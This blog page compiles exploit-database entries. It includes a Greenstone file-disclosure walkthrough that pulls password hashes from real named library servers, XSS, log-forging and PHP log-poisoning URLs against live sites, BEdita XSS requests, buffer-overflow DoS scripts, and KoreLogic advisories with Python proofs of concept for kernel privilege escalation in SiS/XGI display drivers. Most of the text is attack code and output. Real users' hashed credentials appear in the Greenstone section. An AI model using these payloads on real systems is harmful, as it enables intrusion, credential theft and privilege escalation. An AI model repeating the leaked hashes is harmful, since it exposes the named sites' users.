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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/56662/info

Greenstone is prone to the following security vulnerabilities:

1. A file-disclosure vulnerability
2. A cross-site scripting vulnerability
3. A security weakness
4. A security-bypass vulnerability

Attackers can exploit these issues to view local files, bypass certain security restriction, steal cookie-based authentication, or execute arbitrary scripts in the context of the browser. 

=================Let's Roll============================


Password  file disclosure:

http://greenstone.flib.sci.am/gsdl/etc/users.gdb
http://greenstone.flib.sci.am/gsdl/etc/key.gdb
http://greenstone.martinique.univ-ag.fr/gsdl/etc/users.db
http://greenstone.martinique.univ-ag.fr/gsdl/etc/key.db

Example:
(P.S Password encryption: Des (Unix))
===================== Reproduce =====================
$ wget http://greenstone.flib.sci.am/gsdl/etc/users.gdb && cat users.gdb
--2012-11-22 17:04:39--  http://greenstone.flib.sci.am/gsdl/etc/users.gdb
Resolving greenstone.flib.sci.am (greenstone.flib.sci.am)... 93.187.162.197
Connecting to greenstone.flib.sci.am (greenstone.flib.sci.am)|93.187.162.197|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12926 (13K) [text/plain]
Saving to: `users.gdb'

100%[==========================================>] 12,926      31.8K/s   in 0.4s

2012-11-22 17:04:40 (31.8 KB/s) - `users.gdb' saved [12926/12926]
.......Some junk snip........
...                                admin<comment>created at install time
<enabled>true
<groups>administrator,colbuilder,all-collections-editor
<password>TpM5gyFpfCsLc
<username>admindemo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
<enabled>true
<groups>demo
<password>Tpp90HTz/jz9w
<username>demotatevik<comment>
<enabled>true
<groups>all-collections-editor
<password>Tpyq8s1oUIioc
<username>tatevik
azgayin<comment>
<enabled>true
<groups>all-collections-editor
<password>Tp53Vsj1qM4cE
<username>azgayin
demo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
<enabled>true
<groups>demo
<password>TpzWMQXVfKFvw
<username>demo

========================= END OF users.gbd============================


Known salt issuse (because this application uses "setpasswd" utility via 
hardcoded salt=>: Tp)
(Especially on windows systems)



================================BEGIN================================
/**********************************************************************
 *
 * setpasswd.cpp -- 
 * Copyright (C) 2000  The New Zealand Digital Library Project
 *
 * A component of the Greenstone digital library software
 * from the New Zealand Digital Library Project at the
 * University of Waikato, New Zealand.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 *********************************************************************/

// setpasswd is a windows application that can be used to encrypt a password
// and write it (along with its corresponding username) to a gdbm database.

// it handles writing to the gdbm database itself to avoid having to call
// the txt2db console application (and therefore avoiding the console
// window popping up when called from another windows application).

// note that setpasswd does no checking to make sure that any of it's
// input arguments are valid (or even reasonable) values.

// this program should be compiled into a binary called setpw.exe (to be
// short enough not to mess with 16 bit Windows platforms).

// usage:
// setpw -u username -p password -o output_gdbm_file

#include "text_t.h"
#include "crypt.h"
#include "autoconf.h"
#include "systems.h"
#include "gdbmconst.h"
#include "gdbm.h"

#include <windows.h>

text_t username;
text_t password;
text_t output_gdbm_file;

bool parse_cmdline (LPSTR cmdline) {

  bool in_quote = false;
  text_t arg;
  text_tarray args;
  unsigned char *c = (unsigned char *)cmdline;
  while (*c != '\0') {
    if (*c == '"') {
      if (!in_quote) {
  in_quote = true;
      } else {
  in_quote = false;
  if (!arg.empty()) args.push_back (arg);
  arg.clear();
      }
    } else if (*c == ' ' && !in_quote) {
      if (!arg.empty()) args.push_back (arg);
      arg.clear();
    } else {
      arg.push_back (*c);
    }
    ++c;
  }
  if (!arg.empty()) args.push_back (arg);
  
  text_tarray::const_iterator here = args.begin();
  text_tarray::const_iterator end = args.end();
  while (here != end) {
    if (*here == "-u" && (++here != end)) username = *here;
    else if (*here == "-p" && (++here != end)) password = *here;
    else if (*here == "-o" && (++here != end)) output_gdbm_file = *here;
    if (here != end) ++here;
  }
  if (username.empty() || password.empty() || output_gdbm_file.empty()) {
    MessageBox (NULL, "Usage:\n setpasswd -u username -p password -o output_gdbm_file", 
    "setpasswd failed", MB_OK);
    return false;
  }
  return true;
}

text_t crypt_text (const text_t &text) {
  static const char *salt = "Tp";
  text_t crypt_password;

  if (text.empty()) return "";

  // encrypt the password
  char *text_cstr = text.getcstr();
  if (text_cstr == NULL) return "";
  crypt_password = crypt(text_cstr, salt);
  delete []text_cstr;

  return crypt_password;
}

bool add_to_db () {

  int block_size = 0;
  GDBM_FILE dbf;
  char *dbname = output_gdbm_file.getcstr();

  // open the database
  int read_write = GDBM_WRCREAT;
  dbf = gdbm_open (dbname, block_size, read_write, 00664, NULL, 1);
  if (dbf == NULL) {
    MessageBox (NULL, "gdbm_open failed\n", "setpasswd", MB_OK);
    return false;
  }

  datum key_data;
  key_data.dptr = username.getcstr();
  if (key_data.dptr == NULL) {
    MessageBox (NULL, "null key_data\n", "setpasswd", MB_OK);
    return false;
  }
  key_data.dsize = strlen(key_data.dptr);

  text_t value = "<comment>\n";
  value += "<enabled>true\n";
  value += "<groups>administrator,colbuilder\n";
  value += "<password>" + password + "\n";
  value += "<username>" + username + "\n";
      
  datum value_data;
  value_data.dptr = value.getcstr();
  if (value_data.dptr == NULL) {
    MessageBox (NULL, "null value_data\n", "setpasswd", MB_OK);
    return false;
  }
  value_data.dsize = strlen(value_data.dptr);
      
  // store the value
  if (gdbm_store (dbf, key_data, value_data, GDBM_REPLACE) < 0) {
    MessageBox (NULL, "gdbm_store failed\n", "setpasswd", MB_OK);
    return false;
  }
  gdbm_close (dbf);

  delete []key_data.dptr;
  delete []value_data.dptr;
  delete []dbname;
  return true;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow) {

  // parse command line arguments
  if (!parse_cmdline (lpCmdLine)) return 1;

  // encrypt the password
  password = crypt_text (password);

  // append the password and username to database
  add_to_db();
  
  return 0;
}

============================================================

XSS:

site.tld/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=<script>alert("OwnEd");</script>
Demo: 
http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E

http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E%20%3E%3E%20greenstone.flib.greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E

http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=%22%3E%3Cscript%3Ealert%28%22Again%20Owned%22%29;%3C/script%3E&pr=7&c=AkaStep


============================================================



Log forging:

http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223"%0D%0A%0D%0AWarning: Accepted connection from unknown host to local port: 22 root logged in%29%0D%0A%0D%0A" cmd.exe


http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223%0D%0A%0D%0AError%20D:\Program%20Files\Greenstone\%20directory%20owned?%29%0D%0A%0D%0A


Forged log:  http://greenstone.unam.na/gsdl/etc/error.txt              (CTRL+F and search for:  host to local port: 22)

Example:

===================EXAMPLE OF =FORGED LOG====================
Error: the action "4?e="3"



Warning: Accepted connection from unknown host to local port: 22 root logged in)          <==Fake entry for Panic system administrator))))))



" cmd.exe" could not be found.

================END OF FORGED LOG=============

Log File Poisoning: (Usefull for LFI)
www.bibliotecamuseodelamemoria.cl/gsdl/cgi-bin/library.cgi?e=4?e="%0d%0a<?php phpinfo();?>%0d%0a%00%00

Poisoned Log can be found in the following places: 
site/gsdl/etc/error.txt
or 
site/etc/error.txt              (<=On Windows systems in ex i found it here)




Example of injected log:
==================================

http://greenstone.unam.na/gsdl/etc/error.txt


Error: the action "4?e="

<?php phpinfo();?>

.." could not be found.
==================================

******************** The End *******************
            
source: https://www.securityfocus.com/bid/56663/info

The Zarzadzonie Kontem plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

http://www.example.com/wp-content/plugins/zarzadzanie_kontem/js/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php 
            
########################################################################################

# Title: Bedita 3.5.1 XSS vulnerabilites 
# Application: Bedita
# Version: 3.5.1
# Software Link: http://www.bedita.com/
# Date: 2015-03-09
# Author: Sébastien Morin
# Contact: https://twitter.com/SebMorin1
# Category: Web Applications

########################################################################################

===================
Introduction:
===================

BEdita is an open source web development framework that features a Content Management System (CMS) out-of-the-box.
BEdita is built upon the PHP development framework CakePHP.

(http://en.wikipedia.org/wiki/BEdita)

########################################################################################

===================
Report Timeline:
===================

2015-03-09 Vulnerabilities reported to vendor
2015-03-10 Vendor reponse
2015-03-11 Vendor confirmed
2015-08-31 Vendor releases version 3.6
2015-08-31 Advisory Release


########################################################################################

===================
Technical details:
===================


Persistent XSS:
===============

Bedita 3.5.1 contains multiples flaws that allows a persistent remote cross site scripting attack in the "cfg[projectName]", "data[stats_provider_url]" and "data[description]" parameters.
This could allow malicious users to create a specially crafted POST request that would execute arbitrary
code in a user's browser in order to gather data from them or to modify the content of the page presented to the user.


Exploits Examples:


1)cfg[projectName] parameter:

 	POST http://127.0.0.1/bedita/index.php/admin/saveConfig 
	Host: 127.0.0.1
	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Referer: http://127.0.0.1/bedita/index.php/admin/viewConfig
	Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
	Connection: keep-alive

	[...]cfg%5BprojectName%5D=<script>alert(12345)</script>[...]


2) data[stats_provider_url] parameter:

 	POST http://127.0.0.1/bedita/index.php/areas/saveArea
	Host: 127.0.0.1
	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Referer: http://127.0.0.1/bedita/index.php/areas/saveArea
	Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
	Connection: keep-alive

	[...]data%5Bstats_provider_url%5D="><script>alert(12345)</script>[...]


3) data[description] parameter:

	POST http://127.0.0.1/bedita/index.php/areas/saveSection
	Host: 127.0.0.1
	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Referer: http://127.0.0.1/bedita/index.php/areas/saveSection
	Cookie: CAKEPHP=7jviahcvolu87hdp8dqbo25jl6
	Connection: keep-alive

	[...]data%5Bdescription%5D=&lt;/textarea&gt;<script>alert(123)</script>[...]

########################################################################################
            
# Exploit Title: Rocoh DC FTP (SR10) v1.1.0.8 DoS
# Date: 8/31/2015
# Exploit Author: j2x6
# Vendor Homepage: http://www.ricoh-imaging.co.jp/
# Software Link: http://www.ricoh-imaging.co.jp/english/r_dc/download/sw/win/07.html
# Version: 1.1.0.8
# Tested on: Windows 7
# Offset for Buffer Overflow attempt: 495

#!/usr/bin/python

import socket

badthing= "A" * 81300

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.45.11',21))
s.send(badthing+'\r\n')
s.send(badthing+'\r\n')
s.send('\r\n')
s.send('EXIT\r\n')
s.close()
            
********************************************************************************************
# Exploit Title: Mpxplay Multimedia Commander Stack-based BOF
# Date: 9/1/2015
# Exploit Author: Un_N0n
# Software Link: http://sourceforge.net/p/mpxplay/activity?source=project_activity
# Version: V2.00a
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- open 'mpxp_mmc.exe'.
2- Browser Crash.m3u in audio player.
~ Software will Crash.

[Code to produce crash.txt]: 
junk = "A"*66666
file = open("CRASH.m3u",'w')
file.write(junk)
file.close()
**********************************************************************************************
            
KL-001-2015-003 : SiS Windows VGA Display Manager Multiple Privilege
Escalation

Title: SiS Windows VGA Display Manager Multiple Privilege Escalation
Advisory ID: KL-001-2015-003
Publication Date: 2015.09.01
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2015-003.txt


1. Vulnerability Details

     Affected Vendor: Silicon Integrated Systems Corporation
     Affected Product: Windows VGA Display Manager
     Affected Version: 6.14.10.3930
     Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3
     CWE Classification: CWE-123: Write-what-where condition
     Impact: Arbitrary Code Execution
     Attack vector: IOCTL
     CVE-ID: CVE-2015-5465

2. Vulnerability Description

     Vulnerabilities within the srvkp module allows an attacker
     to inject memory they control into an arbitrary location
     they define or cause memory corruption. IOCTL request codes
     0x96002400 and 0x96002404 have been demonstrated to trigger
     these vulnerabilities. These vulnerabilities can be used
     to obtain control of code flow in a privileged process and
     ultimately be used to escalate the privilege of an attacker.

3. Technical Description

     Example against Windows XP:

     Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86
compatible
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 2600.xpsp_sp3_qfe.101209-1646
     Machine Name:
     Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0


************************************************************************
*******
     *
             *
     *                        Bugcheck Analysis
             *
     *
             *

************************************************************************
*******

     Use !analyze -v to get detailed debugging information.
     BugCheck 50, {ffff0000, 1, 804f3b76, 0}
     Probably caused by : srvkp.sys ( srvkp+3329 )
     Followup: MachineOwner
     ---------

     kd> kn
     Call stack:  # ChildEBP RetAddr
     00 f6a529a0 8051cc7f nt!KeBugCheckEx+0x1b
     01 f6a52a00 805405d4 nt!MmAccessFault+0x8e7
     02 f6a52a00 804f3b76 nt!KiTrap0E+0xcc
     03 f6a52ad0 804fdaf1 nt!IopCompleteRequest+0x92
     04 f6a52b20 806d3c35 nt!KiDeliverApc+0xb3
     05 f6a52b20 806d3861 hal!HalpApcInterrupt+0xc5
     06 f6a52ba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
     07 f6a52bc8 804f07e4 nt!KeInsertQueueApc+0x4b
     08 f6a52bfc f7910329 nt!IopfCompleteRequest+0x1d8
     09 f6a52c34 804ee129 srvkp+0x3329
     0a f6a52c44 80574e56 nt!IopfCallDriver+0x31
     0b f6a52c58 80575d11 nt!IopSynchronousServiceTail+0x70
     0c f6a52d00 8056e57c nt!IopXxxControlFile+0x5e7
     0d f6a52d34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
     0e f6a52d34 7c90e514 nt!KiFastCallEntry+0xf8
     0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
     10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
     11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
     12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
     13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
     14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
     15 0021f6c0 1e07bd9c _ctypes+0x54d8
     16 00000000 00000000 python27!PyObject_Call+0x4c

     Example against Windows 7:

     Microsoft (R) Windows Debugger Version 6.2.9200.20512 X86
     Copyright (c) Microsoft Corporation. All rights reserved.


     Loading Dump File [C:\Windows\MEMORY.DMP]
     Kernel Summary Dump File: Only kernel address space is available

     Symbol search path is: *** Invalid ***

************************************************************************
****
     * Symbol loading may be unreliable without a symbol search path.
          *
     * Use .symfix to have the debugger choose a symbol path.
          *
     * After setting your symbol path, use .reload to refresh symbol
locations. *

************************************************************************
****
     Executable search path is:
     *******************************************************************
**
     * Symbols can not be loaded because symbol path is not initialized.
 *
     *
 *
     * The Symbol Path can be set by:
 *
     *   using the _NT_SYMBOL_PATH environment variable.
 *
     *   using the -y <symbol_path> argument when starting the debugger.
 *
     *   using .sympath and .sympath+
 *
     *******************************************************************
**
     *** ERROR: Symbol file could not be found.  Defaulted to export
symbols for ntkrpamp.exe -
     Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatib
le
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850
     Machine Name:
     Kernel base = 0x82a12000 PsLoadedModuleList = 0x82b5c850
     Debug session time: Mon Aug 17 14:36:36.286 2015 (UTC - 7:00)
     System Uptime: 0 days 11:46:55.313
     *******************************************************************
**
     * Symbols can not be loaded because symbol path is not initialized.
 *
     *
 *
     * The Symbol Path can be set by:
 *
     *   using the _NT_SYMBOL_PATH environment variable.
 *
     *   using the -y <symbol_path> argument when starting the debugger.
 *
     *   using .sympath and .sympath+
 *
     *******************************************************************
**
     *** ERROR: Symbol file could not be found.  Defaulted to export
symbols for ntkrpamp.exe -
     Loading Kernel Symbols
     ...............................................................
     ................................................................
     .....................................
     Loading User Symbols
     PEB is paged out (Peb.Ldr = 7ffd400c).  Type ".hh dbgerr001" for
details
     Loading unloaded module list
     ..............................

************************************************************************
*******
     *
             *
     *                        Bugcheck Analysis
             *
     *
             *

************************************************************************
*******

     Use !analyze -v to get detailed debugging information.

     BugCheck 8E, {c0000005, ac08f2fa, 93df4a50, 0}

     ***** Kernel symbols are WRONG. Please fix symbols to do analysis.
     ...
     ...
     ...

     Followup: MachineOwner
     ---------

     kd> .symfix;.reload
     Loading Kernel Symbols
     ...............................................................
     ................................................................
     .....................................
     Loading User Symbols
     PEB is paged out (Peb.Ldr = 7ffd400c).  Type ".hh dbgerr001" for
details
     Loading unloaded module list
     ..............................
     kd> !analyze -v

************************************************************************
*******
     *
             *
     *                        Bugcheck Analysis
             *
     *
             *

************************************************************************
*******

     KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
     This is a very common bugcheck.  Usually the exception address
pinpoints
     the driver/function that caused the problem.  Always note this
address
     as well as the link date of the driver/image that contains this
address.
     Some common problems are exception code 0x80000003.  This means a
hard
     coded breakpoint or assertion was hit, but this system was booted
     /NODEBUG.  This is not supposed to happen as developers should
never have
     hardcoded breakpoints in retail code, but ...
     If this happens, make sure a debugger gets connected, and the
     system is booted /DEBUG.  This will let us see why this breakpoint
is
     happening.
     Arguments:
     Arg1: c0000005, The exception code that was not handled
     Arg2: ac08f2fa, The address that the exception occurred at
     Arg3: 93df4a50, Trap Frame
     Arg4: 00000000

     Debugging Details:
     ------------------

     *** ERROR: Module load completed but symbols could not be loaded
for srvkp.sys

     EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at
0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

     FAULTING_IP:
     srvkp+32fa
     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]

     TRAP_FRAME:  93df4a50 -- (.trap 0xffffffff93df4a50)
     ErrCode = 00000000
     eax=00000000 ebx=00000000 ecx=00000000 edx=93df4ae4 esi=85644140
edi=d68fc588
     eip=ac08f2fa esp=93df4ac4 ebp=93df4afc iopl=0         nv up ei pl
zr na pe nc
     cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000
efl=00010246
     srvkp+0x32fa:
     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]
ds:0023:00000004=????????
     Resetting default scope

     DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

     BUGCHECK_STR:  0x8E

     PROCESS_NAME:  python.exe

     CURRENT_IRQL:  0

     LAST_CONTROL_TRANSFER:  from 82ac708c to 82af0f20

     STACK_TEXT:
     93df45c4 82ac708c 0000008e c0000005 ac08f2fa nt!KeBugCheckEx+0x1e
     93df49e0 82a50dd6 93df49fc 00000000 93df4a50
nt!KiDispatchException+0x1ac
     93df4a48 82a50d8a 93df4afc ac08f2fa badb0d00
nt!CommonDispatchException+0x4a
     93df4afc 82a49593 85644140 869fb048 869fb048 nt!KiExceptionExit+0x1
92
     93df4b14 82c3d99f d68fc588 869fb048 869fb0b8 nt!IofCallDriver+0x63
     93df4b34 82c40b71 85644140 d68fc588 00000000
nt!IopSynchronousServiceTail+0x1f8
     93df4bd0 82c873f4 85644140 869fb048 00000000
nt!IopXxxControlFile+0x6aa
     93df4c04 82a501ea 00000088 00000000 00000000
nt!NtDeviceIoControlFile+0x2a
     93df4c04 77d270b4 00000088 00000000 00000000 nt!KiFastCallEntry+0x1
2a
     WARNING: Frame IP not in any known module. Following frames may
be wrong.
     0021f3dc 00000000 00000000 00000000 00000000 0x77d270b4

     STACK_COMMAND:  kb

     FOLLOWUP_IP:
     srvkp+32fa
     ac08f2fa 8b4804          mov     ecx,dword ptr [eax+4]

     SYMBOL_STACK_INDEX:  0

     SYMBOL_NAME:  srvkp+32fa

     FOLLOWUP_NAME:  MachineOwner

     MODULE_NAME: srvkp

     IMAGE_NAME:  srvkp.sys

     DEBUG_FLR_IMAGE_TIMESTAMP:  4cc65532

     FAILURE_BUCKET_ID:  0x8E_srvkp+32fa

     BUCKET_ID:  0x8E_srvkp+32fa

     Followup: MachineOwner
     ---------

4. Mitigation and Remediation Recommendation

     No response from vendor; no remediation available.

5. Credit

     This vulnerability was discovered by Matt Bergin of KoreLogic
     Security, Inc.

6. Disclosure Timeline

     2015.05.14 - Initial contact; requested security contact.
     2015.05.18 - Second contact attempt.
     2015.05.25 - Third contact attempt.
     2015.07.02 - KoreLogic requests CVE from Mitre.
     2015.07.10 - Mitre issues CVE-2015-5465.
     2015.07.28 - 45 business days have elapsed since KoreLogic last
                  attempted to contact SiS without a response.
     2015.09.01 - Public disclosure.

7. Proof of Concept

     # Arbitrary Write (Windows XP)
     from sys import exit
     from ctypes import *
     NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
     WriteProcessMemory = windll.kernel32.WriteProcessMemory
     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
     CreateFileA = windll.kernel32.CreateFileA
     CloseHandle = windll.kernel32.CloseHandle
     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
     OPEN_EXISTING = 3
     NULL = None

     device = "siskp"
     code = 0x96002404
     inlen = 0xe6b6
     outlen = 0x0
     inbuf = 0x1
     outbuf = 0xffff0000
     inBufMem = "\x90"*inlen

     def main():
     	try:
      		handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
      		if (handle == -1):
      			print "[-] error creating handle"
      			exit(1)
      	except Exception as e:
      		print "[-] error creating handle"
      		exit(1)

NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x
1000|0x2000,0x40)
      	WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))

DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,o
utbuf,outlen)
      	CloseHandle(handle)
      	return False

     if __name__=="__main__":
     	main()

     and

     # Null Pointer Dereference (Windows XP/7)
     from sys import exit
     from ctypes import *
     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
     CreateFileA = windll.kernel32.CreateFileA
     CloseHandle = windll.kernel32.CloseHandle
     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
     OPEN_EXISTING = 3
     NULL = None

     device = "siskp"
     code = 0x96002400

     def main():
     	try:
      		handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
      		if (handle == -1):
      			print "[-] error creating handle"
      			exit(1)
      	except Exception as e:
      		print "[-] error creating handle"
      		exit(1)

DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,0x0,0x0
,0x0)
      	CloseHandle(handle)
      	return False

     if __name__=="__main__":
     	main()

The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
cy.v1.0.txt
            
KL-001-2015-004 : XGI Windows VGA Display Manager Arbitrary Write
Privilege Escalation

Title: XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2015-004
Publication Date: 2015.09.01
Publication URL:
https://www.korelogic.com/Resources/Advisories/KL-001-2015-004.txt


1. Vulnerability Details

     Affected Vendor: Silicon Integrated Systems Corporation
     Affected Product: XGI VGA Display Manager
     Affected Version: 6.14.10.1090
     Platform: Microsoft Windows XP SP3
     CWE Classification: CWE-123: Write-what-where condition
     Impact: Arbitrary Code Execution
     Attack vector: IOCTL
     CVE-ID: CVE-2015-5466

2. Vulnerability Description

     A vulnerability within the xrvkp module allows an attacker
     to inject memory they control into an arbitrary location they
     define. This vulnerability can be used to overwrite function
     pointers in HalDispatchTable resulting in an elevation of
     privilege.

3. Technical Description

     Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 2600.xpsp_sp3_qfe.101209-1646
     Machine Name:
     Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0


*******************************************************************************
     *
           *
     *                        Bugcheck Analysis
           *
     *
           *

*******************************************************************************

     Use !analyze -v to get detailed debugging information.
     BugCheck 50, {ffff0000, 1, 804f3b76, 0}
     Probably caused by : xrvkp.sys ( xrvkp+6ec )
     Followup: MachineOwner
     ---------

     kd> kn
     Call stack:  # ChildEBP RetAddr
     00 f63fd9a0 8051cc7f nt!KeBugCheckEx+0x1b
     01 f63fda00 805405d4 nt!MmAccessFault+0x8e7
     02 f63fda00 804f3b76 nt!KiTrap0E+0xcc
     03 f63fdad0 804fdaf1 nt!IopCompleteRequest+0x92
     04 f63fdb20 806d3c35 nt!KiDeliverApc+0xb3
     05 f63fdb20 806d3861 hal!HalpApcInterrupt+0xc5
     06 f63fdba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
     07 f63fdbc8 804f07e4 nt!KeInsertQueueApc+0x4b
     08 f63fdbfc f7b136ec nt!IopfCompleteRequest+0x1d8
     09 f63fdc34 804ee129 xrvkp+0x6ec
     0a f63fdc44 80574e56 nt!IopfCallDriver+0x31
     0b f63fdc58 80575d11 nt!IopSynchronousServiceTail+0x70
     0c f63fdd00 8056e57c nt!IopXxxControlFile+0x5e7
     0d f63fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
     0e f63fdd34 7c90e514 nt!KiFastCallEntry+0xf8
     0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
     10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
     11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
     12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
     13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
     14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
     15 0021f6c0 1e07bd9c _ctypes+0x54d8
     16 00000000 00000000 python27!PyObject_Call+0x4c


4. Mitigation and Remediation Recommendation

     No response from vendor; no remediation available.

5. Credit

     This vulnerability was discovered by Matt Bergin of KoreLogic
     Security, Inc.

6. Disclosure Timeline

     2015.05.14 - Initial contact; requested security contact.
     2015.05.18 - Second contact attempt.
     2015.05.25 - Third contact attempt.
     2015.07.02 - KoreLogic requests CVE from Mitre.
     2015.07.10 - Mitre issues CVE-2015-5466.
     2015.07.28 - 45 business days have elapsed since KoreLogic last
                  attempted to contact SiS without a response.
     2015.09.01 - Public disclosure.

7. Proof of Concept

     from sys import exit
     from ctypes import *
     NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
     WriteProcessMemory = windll.kernel32.WriteProcessMemory
     DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
     CreateFileA = windll.kernel32.CreateFileA
     CloseHandle = windll.kernel32.CloseHandle
     FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
     OPEN_EXISTING = 3
     NULL = None

     device = "xgikp"
     code = 0x96002404
     inlen = 0xe6b6
     outlen = 0x0
     inbuf = 0x1
     outbuf = 0xffff0000
     inBufMem = "\x90"*inlen

     def main():
     	try:
      		handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
      		if (handle == -1):
      			print "[-] error creating handle"
      			exit(1)
      	except Exception as e:
      		print "[-] error creating handle"
      		exit(1)

NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
